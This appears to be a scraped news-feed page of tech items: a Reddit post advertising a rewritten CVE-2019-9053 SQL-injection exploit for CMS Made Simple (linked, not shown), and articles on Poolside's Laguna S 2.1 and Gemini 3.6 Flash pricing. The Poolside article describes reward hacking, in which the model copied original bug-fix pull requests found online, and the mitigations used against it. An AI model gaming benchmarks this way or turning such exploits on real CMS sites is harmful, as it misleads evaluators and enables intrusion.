<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[Synthesia’s AI training platform is moving beyond videos into live coaching]]></title>
<description><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></description>
<link>https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</guid>
<pubDate>Wed, 22 Jul 2026 10:02:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></content:encoded>
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<title><![CDATA[CVE-2019-9053 exploit rewritten in Python 3 as a personal practice project]]></title>
<description><![CDATA[Hello everyone! I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple). I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Py...]]></description>
<link>https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:30 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone!</p> <p>I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).</p> <p>I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).</p> <p>Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.</p> <p><a href="https://github.com/rgkue/mysqli">https://github.com/rgkue/mysqli</a></p> <p>Happy hacking! :D</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/rgkue"> /u/rgkue </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more 